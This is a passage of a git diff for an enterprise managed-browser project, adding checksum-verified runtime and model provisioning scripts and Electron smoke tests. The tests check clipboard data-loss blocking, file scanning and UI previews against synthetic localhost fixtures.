timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Profile administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,2); + const report={actualAdministratorUi:true,explicitDeviceAssignments:true,employeeDeveloperFlags:true,websiteRestrictions:true,noNode:true,cspPreserved:true,...(config.requireIndependentPolicyApproval?{operatorProposalLeftPolicyUnchanged:true,exactProfileReviewed:true,distinctAdministratorApproval:true}:{effectivePreview:true})};mkdirSync('artifacts',{recursive:true});writeFileSync(config.requireIndependentPolicyApproval?'artifacts/profiles-review-admin-proof.json':'artifacts/profiles-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-profiles-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} + diff --git a/scripts/provision-model.py b/scripts/provision-model.py new file mode 100644 index 0000000..cd391a3 --- /dev/null +++ b/scripts/provision-model.py @@ -0,0 +1,4 @@ +"""Compatibility entry point for verified offline semantic provisioning.""" +from runpy import run_path +from pathlib import Path +run_path(str(Path(__file__).with_name('provision-semantic-runtime.py')), run_name='__main__') diff --git a/scripts/provision-semantic-runtime.py b/scripts/provision-semantic-runtime.py new file mode 100644 index 0000000..f86c95a --- /dev/null +++ b/scripts/provision-semantic-runtime.py @@ -0,0 +1,70 @@ +"""Provision an offline, verified EmbeddingGemma 2 Windows distribution.""" +import argparse +import hashlib +import json +from pathlib import Path +import shutil +import tempfile + +ROOT = Path(__file__).resolve().parents[1] +DEST = ROOT / '.runtime/windows/semantic' +PIN = 'bfcd298762cc34d0357ece5ebdd31791a3a374d8' +MODELS = { + 'embeddinggemma-2-Q8_0.gguf': (309855456, '2188ac1deca4b77dffefd603c2776a9d76d9d74ec01841392982ebb840b09135'), + 'mmproj-embeddinggemma-2-Q8_0.gguf': (554821024, 'c4a8a52691ecef40618438928bdf9e68379b854e24166f292592353db0aab64f'), +} + +def verify(base, item): + name = item['path'] + if Path(name).name != name or ':' in name or '\\' in name or '/' in name: + raise ValueError('Invalid artifact name') + file = base / name + if file.is_symlink() or not file.is_file() or file.stat().st_size != item['bytes']: + raise ValueError('Artifact missing or incorrect size: ' + name) + digest = hashlib.sha256() + with file.open('rb') as stream: + while block := stream.read(1024 * 1024): digest.update(block) + if digest.hexdigest() != item['sha256']: raise ValueError('Artifact digest mismatch: ' + name) + +def validate(base): + manifest = json.loads((base / 'models/model-manifest.json').read_text('utf-8')) + if (manifest['model_id'], manifest['revision'], manifest['dimensions'], manifest['quantization'], manifest['runtime_tag']) != ('google/embeddinggemma-2', PIN, 768, 'Q8_0', 'b11461'): + raise ValueError('Model identity mismatch') + for name, (size, digest) in MODELS.items(): verify(base / 'models', {'path': name, 'bytes': size, 'sha256': digest}) + files = json.loads((base / 'runtime-manifest.json').read_text('utf-8'))['files'] + if not 1 <= len(files) <= 64 or len({item['path'].lower() for item in files}) != len(files): raise ValueError('Invalid runtime inventory') + if not any(item['path'] == 'searchi-gemma-worker.exe' for item in files): raise ValueError('Worker absent') + for item in files: verify(base, item) + if {p.name.lower() for p in base.glob('*.dll')} != {i['path'].lower() for i in files if i['path'].lower().endswith('.dll')}: raise ValueError('Unverified DLL') + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument('--source-project', type=Path) + parser.add_argument('--verify', action='store_true') + args = parser.parse_args() + if DEST.exists(): + validate(DEST) + print('Verified offline EmbeddingGemma 2 model and Windows runtime.') + return + if args.verify or args.source_project is None: raise ValueError('Provision semantic runtime with --source-project before packaging') + source = args.source_project.resolve() + runtime = source / '.searchi/runtime/auto/Release' + inventory = json.loads((runtime / 'runtime-libraries.json').read_text('utf-8')) + worker = runtime / 'searchi-gemma-worker.exe' + files = [{'path': worker.name, 'bytes': worker.stat().st_size, 'sha256': inventory['worker_sha256']}, *inventory['libraries']] + for item in files: verify(runtime, item) + DEST.parent.mkdir(parents=True, exist_ok=True) + candidate = Path(tempfile.mkdtemp(prefix='semantic-stage-', dir=DEST.parent)) + # A failed stage is retained for diagnosis; never delete another project's assets. + (candidate / 'models').mkdir() + for item in files: shutil.copy2(runtime / item['path'], candidate / item['path']) + (candidate / 'runtime-manifest.json').write_text(json.dumps({'files': files}, indent=2), 'utf-8') + shutil.copy2(source / 'tools/embeddinggemma2/model-manifest.json', candidate / 'models/model-manifest.json') + for name in MODELS: shutil.copy2(source / '.searchi/models/embeddinggemma2' / name, candidate / 'models' / name) + shutil.copy2(source / '.searchi/references/llama.cpp/LICENSE', candidate / 'LLAMA-LICENSE.txt') + for name in ('MSVC-REDISTRIBUTION.txt', 'VULKAN-LICENSE.txt'): shutil.copy2(runtime / name, candidate / name) + validate(candidate) + candidate.rename(DEST) + print('Provisioned verified offline EmbeddingGemma 2 model and Windows runtime.') + +if __name__ == '__main__': main() diff --git a/scripts/provision-windows-runtime.py b/scripts/provision-windows-runtime.py new file mode 100644 index 0000000..dac27fc --- /dev/null +++ b/scripts/provision-windows-runtime.py @@ -0,0 +1,45 @@ +"""Build a pinned private Windows x64 inspector runtime; no machine-wide install.""" +import hashlib +import json +import shutil +import subprocess +import sys +import urllib.request +import zipfile +from pathlib import Path + +if sys.platform!='win32': raise SystemExit('Windows runtime provisioning runs on Windows only') +VERSION='3.13.16' +CHECKSUM='97dae5274cc54867065e8d5a3226e48c35017ed332a0fdb0e27d5b5821961297' +root=Path.cwd().resolve() +directory=root/'.runtime'/'windows'/'python' +directory.mkdir(parents=True,exist_ok=True) +requirements=root/'apps'/'inspector'/'requirements.lock.txt' +requirements_hash=hashlib.sha256(requirements.read_bytes()).hexdigest() +manifest=directory/'safetynet-runtime.json' +expected={'python':VERSION,'architecture':'amd64','sha256':CHECKSUM,'requirementsHash':requirements_hash} +if not manifest.exists() or json.loads(manifest.read_text())!=expected: + archive=directory.parent/f'python-{VERSION}-embed-amd64.zip' + if not archive.exists() or hashlib.sha256(archive.read_bytes()).hexdigest()!=CHECKSUM: + with urllib.request.urlopen(f'https://www.python.org/ftp/python/{VERSION}/python-{VERSION}-embed-amd64.zip',timeout=60) as response: + payload=response.read(20*1024*1024) + if hashlib.sha256(payload).hexdigest()!=CHECKSUM: raise SystemExit('Python runtime checksum mismatch') + archive.write_bytes(payload) + with zipfile.ZipFile(archive) as package: + for entry in package.infolist(): + target=(directory/entry.filename).resolve() + if not target.is_relative_to(directory): raise SystemExit('Runtime archive path rejected') + if not entry.is_dir(): + target.parent.mkdir(parents=True,exist_ok=True) + target.write_bytes(package.read(entry)) + (directory/'python313._pth').write_text('python313.zip\n.\nLib/site-packages\n../inspector\nimport site\n') + subprocess.run([sys.executable,'-m','pip','install','--target',str(directory/'Lib'/'site-packages'), + '--platform','win_amd64','--python-version','3.13','--implementation','cp','--abi','cp313', + '--only-binary=:all:','--require-hashes','--upgrade','-r',str(requirements)],check=True) + manifest.write_text(json.dumps(expected,indent=2)) +inspector=directory.parent/'inspector' +inspector.mkdir(exist_ok=True) +for name in ['engine.py','server.py','semantic.py','windows_containment.py','windows_appcontainer.py','sandbox_worker.py','provision_runtime_acl.py']: + shutil.copyfile(root/'apps'/'inspector'/name,inspector/name) +subprocess.run([str(directory/'python.exe'),'-c','import pypdf, PIL, defusedxml, yara, engine; assert engine.inspect_content(b"public", {"dlp":{"maxBytes":1024,"rules":[],"semantic":{"enabled":False}}})["decision"] == "allow"; assert yara.compile(source="rule test { condition: true }").match(data=b"test"); engine.local_ocr(); print("Bundled Windows inspector, YARA and offline ONNX OCR runtime verified.")'],check=True) +subprocess.run([str(directory/'python.exe'),str(root/'apps/inspector/provision_runtime_acl.py'),'--provision'],check=True) diff --git a/scripts/semantic-browser-smoke.cjs b/scripts/semantic-browser-smoke.cjs new file mode 100644 index 0000000..5decdcb --- /dev/null +++ b/scripts/semantic-browser-smoke.cjs @@ -0,0 +1,34 @@ +// Finite native fixture: synthetic teaching data, real signed policy and CPU model. +const {app,BrowserWindow,clipboard,ClipboardItem}=require('electron'); +const fs=require('node:fs'),path=require('node:path'),assert=require('node:assert/strict'); +app.setPath('userData',process.env.SAFETYNET_SEMANTIC_PROFILE); +app.setPath('sessionData',process.env.SAFETYNET_SEMANTIC_PROFILE); +app.disableHardwareAcceleration(); +require('../apps/browser/main.cjs'); +const wait=ms=>new Promise(resolve=>setTimeout(resolve,ms)); +const deadline=setTimeout(()=>app.exit(1),90000); +app.whenReady().then(async()=>{let original;try{ + let win; + for(let i=0;i<150;i++){win=BrowserWindow.getAllWindows()[0];if(win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html'))break;await wait(100);} + assert.ok(win,'Trusted shell unavailable'); + const enrolled=await win.webContents.executeJavaScript(`window.safetynet.enroll(${JSON.stringify({server:process.env.SAFETYNET_SEMANTIC_SERVER,code:process.env.SAFETYNET_SEMANTIC_CODE})})`); + assert.equal(enrolled.ok,true,'Enrollment failed');assert.equal(enrolled.data.ready,true); + const page=win.contentView.children.find(child=>child.webContents!==win.webContents).webContents; + for(let i=0;i<100&&page.isLoading();i++)await wait(100); + const connection=JSON.parse(process.env.SAFETYNET_SEMANTIC_FIXTURES); + original=[];for(const item of await clipboard.read()){const data={};for(const type of item.types)data[type]=await item.getType(type);if(Object.keys(data).length)original.push(new ClipboardItem(data));} + async function select(text){await page.executeJavaScript(`(()=>{let node=document.getElementById('source');node.textContent=${JSON.stringify(text)};const range=document.createRange();range.selectNodeContents(node);const selection=getSelection();selection.removeAllRanges();selection.addRange(range);})()`);} + async function copy(){win.show();win.focus();page.focus();page.sendInputEvent({type:'keyDown',keyCode:'C',modifiers:['control']});page.sendInputEvent({type:'keyUp',keyCode:'C',modifiers:['control']});await wait(500);for(let i=0;i<150;i++){const state=await win.webContents.executeJavaScript('window.safetynet.state()');if(!state.data.clipboardPending)return;await wait(100);}throw Error('Native clipboard scan timed out');} + const sentinel='Public semantic test clipboard marker'; + await clipboard.writeText(sentinel);await select(connection.paraphrase);await copy(); + assert.ok((await clipboard.readText())===sentinel,'Semantic confidential paraphrase reached OS clipboard'); + const overview=await (await fetch(`${process.env.SAFETYNET_SEMANTIC_SERVER}/api/admin/overview`,{headers:{authorization:`Bearer ${process.env.SAFETYNET_SEMANTIC_ADMIN}`}})).json(); + assert.ok(overview.events.some(event=>event.kind==='clipboard.block'&&event.metadata.ruleId==='synthetic-restructuring'),'Semantic rule did not cause centrally audited block'); + await select(connection.publicText);await copy(); + for(let i=0;i<30&&await clipboard.readText()!==connection.publicText;i++)await wait(100); + assert.equal(await clipboard.readText(),connection.publicText,'Public text was not copied through real local semantic inference'); + assert.equal(JSON.stringify(overview.events).includes(connection.paraphrase),false,'Audit contains raw clipboard text'); + console.log(JSON.stringify({nativeSemanticClipboard:true,confidentialParaphraseBlocked:true,publicTextAllowed:true,centralAuditMetadataOnly:true})); + if(original.length)await clipboard.write(original);else await clipboard.clear();original=null;clearTimeout(deadline);app.quit(); +}catch(error){console.error(JSON.stringify({nativeSemanticClipboard:false,error:error.message}));if(original){try{if(original.length)await clipboard.write(original);else await clipboard.clear();}catch{}}clearTimeout(deadline);app.exit(1);}}); + diff --git a/scripts/semantic-browser-smoke.mjs b/scripts/semantic-browser-smoke.mjs new file mode 100644 index 0000000..a627c45 --- /dev/null +++ b/scripts/semantic-browser-smoke.mjs @@ -0,0 +1,51 @@ +// Independent localhost control plane and real Windows browser. No cloud/model downloads. +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {createServer} from 'node:http'; +import {mkdtempSync,mkdirSync,existsSync,writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join,resolve} from 'node:path'; +import {spawn} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {inspect,verifyPolicy} from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),electron=require('electron'); +const temporary=mkdtempSync(join(tmpdir(),'safetynet-semantic-browser-')); +const runtime=resolve('.runtime/windows/semantic'),python=resolve('.runtime/windows/python/python.exe'); +assert.ok(existsSync(join(runtime,'models/model-manifest.json')),'Stage verified local model artifacts before running'); +const fixtures={reference:'Confidential corporate restructuring will close the Lisbon office next autumn and eliminate two hundred positions before the public announcement. Leadership is negotiating a six-million-euro acquisition of a rival. These undisclosed staffing reductions and acquisition plans are restricted internal company information.',paraphrase:'Private workforce planning calls for shutting the Portugal branch after summer and cutting roughly two hundred jobs. Executives are discussing a six-million-euro purchase of a competitor; the timetable and personnel reductions remain undisclosed.',publicText:'A simple tomato pasta recipe combines ripe tomatoes, olive oil, garlic and fresh basil. Boil the pasta in salted water and serve it warm.'}; +let inspector,management,sink,store,child; +const report={model:'google/embeddinggemma-2',revision:'bfcd298762cc34d0357ece5ebdd31791a3a374d8',dimensions:768,profile:'document-v1',artifactFormat:'gguf',quantization:'Q8_0',runtimeRevision:'b11461',local:true}; +try{ + const inspectorToken=randomBytes(32).toString('base64url'),adminToken=randomBytes(32).toString('base64url'),code=randomBytes(32).toString('base64url'); + inspector=spawn(python,['apps/inspector/server.py'],{windowsHide:true,stdio:['ignore','pipe','pipe'],env:{...process.env,EMBEDDING_MODEL_DIR:join(runtime,'models'),EMBEDDING_WORKER_PATH:join(runtime,'searchi-gemma-worker.exe'),INSPECTOR_TOKEN:inspectorToken,INSPECTOR_PORT:'0',INSPECTOR_PARENT_PID:String(process.pid)}}); + inspector.stderr.on('data',()=>{}); + const inspectorPort=await new Promise((accept,reject)=>{let output='';const timeout=setTimeout(()=>{inspector.kill();reject(Error('Inspector startup timed out'));},40000);inspector.once('error',reject);inspector.once('exit',()=>{clearTimeout(timeout);reject(Error('Inspector exited before startup'));});inspector.stdout.on('data',chunk=>{output+=chunk;if(output.includes('\n')){clearTimeout(timeout);try{accept(JSON.parse(output.split('\n')[0]).port);}catch{reject(Error('Invalid inspector startup'));}}});}); + sink=createServer((_req,res)=>{res.setHeader('Content-Type','text/html');res.end('Local semantic enforcement fixture

Public browser fixture

');}).listen(0,'127.0.0.1');await new Promise(resolve=>sink.once('listening',resolve));
+  store=openStore(join(temporary,'management.sqlite'));
+  const initial=store.get('policy');initial.browser.homeUrl=`http://127.0.0.1:${sink.address().port}`;initial.browser.allowedHosts=['127.0.0.1'];initial.dlp.rules=[];store.put('policy',initial);
+  store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'synthetic-semantic-user');
+  const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,inspectorUrl:`http://127.0.0.1:${inspectorPort}`,inspectorToken};
+  management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(resolve=>management.once('listening',resolve));config.publicUrl=`http://127.0.0.1:${management.address().port}`;
+  async function admin(route,body,method='POST'){const result=await fetch(config.publicUrl+route,{method,headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify(body),signal:AbortSignal.timeout(90000)});assert.equal(result.status,200,`Central route ${route} failed`);return result.json();}
+  const teaching=await admin('/api/admin/teaching',{label:'Synthetic confidential workforce plan',filename:'synthetic-reference.txt',data:Buffer.from(fixtures.reference).toString('base64')});
+  await admin(`/api/admin/teaching/${teaching.id}/publish`,{expectedVersion:initial.version,approve:true});
+  const reference=await admin('/api/admin/semantic/reference',{description:fixtures.reference});
+  for(const key of ['model','revision','dimensions','profile','artifactFormat','quantization','runtimeRevision','local'])assert.equal(reference[key],report[key],`Unexpected local model ${key}`);
+  const policy=store.get('policy');policy.version++;policy.dlp.semantic={enabled:true,model:reference.model,revision:reference.revision,dimensions:reference.dimensions,profile:reference.profile,artifactFormat:reference.artifactFormat,quantization:reference.quantization,runtimeRevision:reference.runtimeRevision,categories:[{id:'synthetic-restructuring',label:'Synthetic restricted workforce plan',threshold:0.65,prototype:reference.vector,prototypes:reference.vectors}]};
+  assert.equal(inspect(Buffer.from(fixtures.paraphrase),policy).decision,'allow','Paraphrase accidentally matches a deterministic rule');
+  const secret=await admin('/api/admin/policy/test',{text:fixtures.paraphrase,policy}),ordinary=await admin('/api/admin/policy/test',{text:fixtures.publicText,policy});
+  assert.equal(secret.ruleId,'synthetic-restructuring','Semantic paraphrase did not match calibrated category');assert.equal(ordinary.decision,'allow','Unrelated public text failed semantic calibration');
+  await admin('/api/admin/policy',policy,'PUT');const signed=verifyPolicy(store.envelope(),store.publicKey());assert.equal(signed.dlp.semantic.revision,report.revision);assert.equal(signed.dlp.semantic.profile,report.profile);
+  const env={...process.env,SAFETYNET_SEMANTIC_PROFILE:join(temporary,'browser'),SAFETYNET_SEMANTIC_SERVER:config.publicUrl,SAFETYNET_SEMANTIC_CODE:code,SAFETYNET_SEMANTIC_ADMIN:adminToken,SAFETYNET_SEMANTIC_FIXTURES:JSON.stringify(fixtures)};
+  // Prove the browser's automatic bundled-path wiring rather than the fixture inspector environment.
+  delete env.EMBEDDING_MODEL_DIR;delete env.EMBEDDING_WORKER_PATH;delete env.ELECTRON_RUN_AS_NODE;
+  child=spawn(electron,['scripts/semantic-browser-smoke.cjs'],{windowsHide:true,stdio:'inherit',env});const timer=setTimeout(()=>child.kill(),100000);
+  const status=await new Promise(resolve=>{child.once('exit',code=>resolve(code??1));child.once('error',()=>resolve(1));});clearTimeout(timer);assert.equal(status,0,'Native semantic browser fixture failed');
+  Object.assign(report,{centralTeaching:true,signedPolicyVerified:true,deterministicParaphraseAllow:true,semanticParaphraseBlock:true,publicTextAllow:true,paraphraseSimilarity:secret.similarity?.[0]?.score,publicSimilarity:ordinary.similarity?.[0]?.score,nativeProofPassed:true});
+  mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/semantic-browser-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report));
+}finally{
+  child?.kill();inspector?.kill();for(const server of [management,sink])if(server){server.closeAllConnections();await new Promise(resolve=>server.close(resolve));}store?.db.close();
+}
+
diff --git a/scripts/smoke.mjs b/scripts/smoke.mjs
new file mode 100644
index 0000000..67a9396
--- /dev/null
+++ b/scripts/smoke.mjs
@@ -0,0 +1,54 @@
+import { createServer } from 'node:http';
+import { createRequire } from 'node:module';
+import { mkdtempSync,rmSync,mkdirSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join,resolve } from 'node:path';
+import { spawn } from 'node:child_process';
+import { randomBytes } from 'node:crypto';
+import { createApp } from '../apps/server/app.mjs';
+import { openStore,digest } from '../apps/server/store.mjs';
+const require=createRequire(import.meta.url),electron=require('electron');
+const temporary=mkdtempSync(join(tmpdir(),'safetynet-smoke-'));mkdirSync('artifacts',{recursive:true});
+let posts=0,proxyRequests=0,secondaryRequests=0;
+const visualLogin='Visual identity fixture

SafetyNet Identity Lab

Sign in

Use your laboratory account

'; +const receiver=(req,res)=>{ + res.setHeader('Access-Control-Allow-Origin','*'); + if(req.url==='/count'){res.setHeader('content-type','application/json');res.end(JSON.stringify({posts,proxyRequests,secondaryRequests}));return;} + if(req.url==='/visual-login'){res.setHeader('content-type','text/html');res.end(visualLogin);return;} + if(req.url==='/download-safe'||req.url==='/download-blocked'){ + res.setHeader('Content-Type','application/octet-stream');res.setHeader('Content-Disposition',`attachment; filename="${req.url==='/download-safe'?'safe.bin':'blocked.bin'}"`); + res.end(req.url==='/download-safe'?Buffer.from([0,1,2,3,255]):Buffer.from('SAFETYNET_BLOCK_TEST'));return; + } + if(req.url.startsWith('http://proxy-check.invalid/'))proxyRequests++; + if(req.method==='POST'){posts++;req.resume();res.end('received');return;} + res.setHeader('content-type','text/html');res.end('SafetyNet enforcement fixture

Managed browsing is active

This controlled receiver verifies that blocked payloads never arrive.

Download safe sampleDownload blocked sample'); +}; +const sink=createServer(receiver).listen(0,'127.0.0.1');await new Promise(r=>sink.on('listening',r)); +const secondary=createServer((req,res)=>{secondaryRequests++;res.setHeader('Access-Control-Allow-Origin','*');res.end('secondary');}).listen(0,'127.0.0.2');await new Promise(r=>secondary.on('listening',r)); +const store=openStore(join(temporary,'db')),code=randomBytes(32).toString('base64url'),adminToken=randomBytes(32).toString('base64url'); +const inspectorToken=randomBytes(32).toString('base64url'); +const inspectorProcess=spawn(resolve('.runtime/windows/python/python.exe'),['apps/inspector/server.py'],{windowsHide:true,stdio:['ignore','pipe','pipe'],env:{...process.env,INSPECTOR_TOKEN:inspectorToken,INSPECTOR_PORT:'0',INSPECTOR_PARENT_PID:String(process.pid)}}); +const inspectorPort=await new Promise((resolve,reject)=>{ + let output='';const deadline=setTimeout(()=>{inspectorProcess.kill();reject(Error('Fixture inspector did not start'));},40000); + inspectorProcess.once('exit',()=>{clearTimeout(deadline);reject(Error('Fixture inspector exited before startup'));}); + inspectorProcess.on('error',reject); + inspectorProcess.stdout.on('data',chunk=>{ + output+=chunk; + if(output.includes('\n')){ + clearTimeout(deadline); + try{resolve(JSON.parse(output.split('\n')[0]).port);}catch{reject(Error('Fixture inspector startup rejected'));} + } + }); + inspectorProcess.stderr.on('data',()=>{}); +}); +const p=store.get('policy');p.browser.homeUrl=`http://127.0.0.1:${sink.address().port}`;p.brand={name:'Acme Secure Browser',color:'#245fbc'};p.dlp.rules=[{id:'secret-roadmap',label:'Roadmap',kind:'literal',value:'Secret Roadmap',action:'block'}];store.put('policy',p);store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'smoke-user'); +p.browser.allowDownloads=true;p.security.yara={enabled:true,rules:[{id:'test-marker',name:'Controlled malicious marker',source:'rule Block_Test { strings: $a = "SAFETYNET_BLOCK_TEST" condition: $a }'}],maxScanBytes:1048576};p.agents={enabled:true,scopes:['sessions','navigate','read','click','type','application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group'],allowedHosts:['127.0.0.1'],allowSensitiveRead:false};store.put('policy',p); +const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,inspectorUrl:`http://127.0.0.1:${inspectorPort}`,inspectorToken};const management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>management.on('listening',r));config.publicUrl=`http://127.0.0.1:${management.address().port}`; +const child=spawn(electron,['scripts/electron-smoke.cjs'],{stdio:'inherit',windowsHide:true,env:{...process.env,SAFETYNET_SMOKE_SERVER:config.publicUrl,SAFETYNET_SMOKE_CODE:code,SAFETYNET_SMOKE_SINK:p.browser.homeUrl,SAFETYNET_SMOKE_SECONDARY:`http://127.0.0.2:${secondary.address().port}`,SAFETYNET_SMOKE_USERDATA:join(temporary,'browser'),SAFETYNET_SMOKE_ARTIFACTS:resolve('artifacts'),SAFETYNET_SMOKE_ADMIN:adminToken}}); +const timeout=setTimeout(()=>child.kill(),240000); +const exitCode=await new Promise(resolve=>{child.on('exit',code=>resolve(code??1));child.on('error',()=>resolve(1));});clearTimeout(timeout); +for(const server of [management,sink,secondary])server.closeAllConnections(); +await Promise.all([new Promise(r=>management.close(r)),new Promise(r=>sink.close(r)),new Promise(r=>secondary.close(r))]);store.db.close(); +inspectorProcess.kill(); +// Temporary paths originate from mkdtemp under the OS temp directory. +rmSync(temporary,{recursive:true,force:true});process.exit(exitCode); diff --git a/scripts/ui-preview.cjs b/scripts/ui-preview.cjs new file mode 100644 index 0000000..25cb055 --- /dev/null +++ b/scripts/ui-preview.cjs @@ -0,0 +1,59 @@ +// Deterministic UI fixture: public invented metadata only; no production main process. +const {app,BrowserWindow,ipcMain}=require('electron'); +const fs=require('node:fs'),path=require('node:path'),os=require('node:os'); +const fixtureDirectory=fs.mkdtempSync(path.join(os.tmpdir(),'safetynet-ui-fixture-')); +function cleanup(){ + const target=path.resolve(fixtureDirectory),parent=path.resolve(os.tmpdir()); + if(path.dirname(target)===parent&&path.basename(target).startsWith('safetynet-ui-fixture-')){ + try{fs.rmSync(target,{recursive:true,force:true});}catch{} + } +} +app.setPath('userData',path.join(fixtureDirectory,'profile')); +app.disableHardwareAcceleration(); +app.commandLine.appendSwitch('force-device-scale-factor','1'); +const watchdog=setTimeout(()=>app.exit(1),20000); +let locked=false; +const state=()=>({ready:true,enrolled:true,brand:{name:'SafetyNet'},policyVersion:1,url:'https://example.test/',message:'UI fixture · public example metadata',aiEnabled:true,agentsEnabled:true,documentScanEnabled:true,passwordManagerEnabled:true,vaultExists:true,vaultLocked:locked}); +const vaultStatus=()=>({exists:true,locked,enabled:true,idleLockSeconds:120,allowSaving:true,allowAutofill:true}); +ipcMain.handle('ui-fixture',(_event,method)=>{ + if(method==='state')return {ok:true,data:state()}; + if(method==='vaultStatus')return {ok:true,data:vaultStatus()}; + if(method==='vaultList')return {ok:true,data:locked?[]:[{id:'fixture-1',origin:'https://example.test',label:'Public example account',username:'alex@example.test'}]}; + if(method==='vaultLock'){locked=true;return {ok:true,data:vaultStatus()};} + if(method==='vaultUnlock'){locked=false;return {ok:true,data:vaultStatus()};} + if(['toggleVault','toggleAI'].includes(method))return {ok:true,data:null}; + return {ok:false,error:'This preview does not perform real browser or credential operations.'}; +}); +const preload=path.join(fixtureDirectory,'fixture-preload.cjs'); +fs.writeFileSync(preload,`const {contextBridge,ipcRenderer}=require('electron');const api={onState:()=>()=>{}};for(const method of ['state','toggleVault','toggleAI','vaultStatus','vaultList','vaultLock','vaultUnlock','vaultCreate','vaultSave','vaultDelete','vaultFill','vaultGenerate'])api[method]=(...args)=>ipcRenderer.invoke('ui-fixture',method,...args);contextBridge.exposeInMainWorld('safetynet',api);`); +app.whenReady().then(async()=>{ + let win; + try{ + win=new BrowserWindow({show:false,useContentSize:true,width:1320,height:900,webPreferences:{preload,contextIsolation:true,sandbox:true,nodeIntegration:false}}); + await win.loadFile(path.resolve('apps/browser/index.html')); + await win.webContents.executeJavaScript(`document.getElementById('passwords').click()`); + for(let n=0;n<40;n++){ + if(await win.webContents.executeJavaScript(`document.getElementById('vault-list').textContent.includes('Public example account')`))break; + await new Promise(resolve=>setTimeout(resolve,50)); + } + await win.webContents.executeJavaScript(`(()=>{const label=document.createElement('div');label.id='fixture-label';label.textContent='UI fixture preview · invented public metadata';label.style.cssText='position:fixed;left:30px;top:135px;color:#8994a3;font:12px Segoe UI';document.body.append(label);})()`); + await win.webContents.executeJavaScript(`new Promise(resolve=>requestAnimationFrame(()=>requestAnimationFrame(resolve)))`); + fs.mkdirSync(path.resolve('artifacts'),{recursive:true}); + fs.writeFileSync(path.resolve('artifacts/ui-vault-preview.png'),(await win.webContents.capturePage()).toPNG()); + await win.webContents.executeJavaScript(`document.getElementById('vault-lock').click()`); + for(let n=0;n<40;n++){ + if(await win.webContents.executeJavaScript(`!document.getElementById('vault-access').hidden`))break; + await new Promise(resolve=>setTimeout(resolve,50)); + } + fs.writeFileSync(path.resolve('artifacts/ui-vault-locked-preview.png'),(await win.webContents.capturePage()).toPNG()); + const bounds=await win.webContents.executeJavaScript(`JSON.stringify({header:document.querySelector('header').getBoundingClientRect().height,vaultWidth:document.getElementById('vault').getBoundingClientRect().width,vaultTop:document.getElementById('vault').getBoundingClientRect().top,missingIcons:[...document.images].filter(i=>!i.complete||!i.naturalWidth).length,locked:document.getElementById('vault-open').hidden,masked:document.getElementById('vault-master').type==='password'})`); + fs.writeFileSync(path.resolve('artifacts/ui-vault-preview-layout.json'),bounds); + win.setContentSize(800,650); + await win.webContents.executeJavaScript(`new Promise(resolve=>requestAnimationFrame(()=>requestAnimationFrame(resolve)))`); + fs.writeFileSync(path.resolve('artifacts/ui-vault-compact-preview.png'),(await win.webContents.capturePage()).toPNG()); + console.log('UI fixture captured: unlocked and locked password panels.'); + win.destroy();win=null;clearTimeout(watchdog); + cleanup();app.exit(0); + }catch{win?.destroy();clearTimeout(watchdog);cleanup();app.exit(1);} +}).catch(()=>app.exit(1)); +app.on('will-quit',cleanup); diff --git a/scripts/ui-showcase.cjs b/scripts/ui-showcase.cjs new file mode 100644 index 0000000..e57bcd3 --- /dev/null +++ b/scripts/ui-showcase.cjs @@ -0,0 +1,201 @@ +'use strict'; +if (!process.versions.electron) { + const fs = require('node:fs'), path = require('node:path'), os = require('node:os'); + const { spawn } = require('node:child_process'); + const owned = fs.mkdtempSync(path.join(os.tmpdir(), 'safetynet-ui-showcase-')); + const env = { ...process.env, SAFETYNET_SHOWCASE_PROFILE: owned }; delete env.ELECTRON_RUN_AS_NODE; + const child = spawn(require('electron'), [__filename], { stdio: 'inherit', windowsHide: true, env }); + const deadline = setTimeout(() => child.kill(), 90_000); + const finish = code => { + clearTimeout(deadline); + const resolved = path.resolve(owned); + if (!resolved.startsWith(path.resolve(os.tmpdir()) + path.sep) || !path.basename(resolved).startsWith('safetynet-ui-showcase-')) throw Error('Unsafe showcase cleanup'); + fs.rmSync(resolved, { recursive: true, force: true, maxRetries: 10, retryDelay: 100 }); + process.exit(code ?? 1); + }; + child.once('error', () => finish(1)); child.once('exit', finish); +} else { +// Finite test harness for the real trusted shell. No production browser startup, +// site view, real credentials, network browsing or external application state. +const { app, BrowserWindow, ipcMain, nativeTheme } = require('electron'); +const fs = require('node:fs'); +const path = require('node:path'); +const os = require('node:os'); +const assert = require('node:assert/strict'); +const { capturePNG } = require('../apps/browser/visual-capture.cjs'); +app.disableHardwareAcceleration(); // Windows fixture uses the CPU compositor; production keeps its sandboxed defaults. +app.commandLine.appendSwitch('force-device-scale-factor', '1'); +const root = path.resolve(__dirname, '..'); +const profile = process.env.SAFETYNET_SHOWCASE_PROFILE || fs.mkdtempSync(path.join(os.tmpdir(), 'safetynet-ui-showcase-')); +if (!profile.startsWith(path.resolve(os.tmpdir()) + 